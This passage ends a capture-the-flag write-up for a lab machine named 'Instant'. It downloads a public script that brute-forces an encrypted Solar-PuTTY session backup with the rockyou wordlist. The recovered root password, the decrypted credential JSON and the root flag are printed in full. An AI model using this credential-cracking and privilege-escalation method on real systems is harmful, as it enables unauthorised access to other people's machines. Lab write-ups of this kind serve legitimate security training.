gmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=

Googling for sessions-backup.dat decrypt resulted in this GitHub Gist. Lets use it to crack the file!

1
2
3
4
5
6
7
8
9
❯ wget https://gist.githubusercontent.com/xHacka/052e4b09d893398b04bf8aff5872d0d5/raw/8e76153cd2d115686a66408f6e2deff7d3740ecc/SolarPuttyDecrypt.py

❯ python3 SolarPuttyDecrypt.py sessions-backup.dat
Usage: SolarPuttyDecrypt.py putty_session.dat wordlist.txt

❯ python3 SolarPuttyDecrypt.py sessions-backup.dat /usr/share/wordlists/rockyou.txt
[103] password='estrella'           

{"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}

Nice, we managed to find the password for root.

1
2
3
4
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password: 12**24nzC!r0c%q12
root@instant:/opt/backups/Solar-PuTTY# cat /root/root.txt
23d76ee9f157b3a89d703035e6607378
This post is licensed under CC BY 4.0 by the author.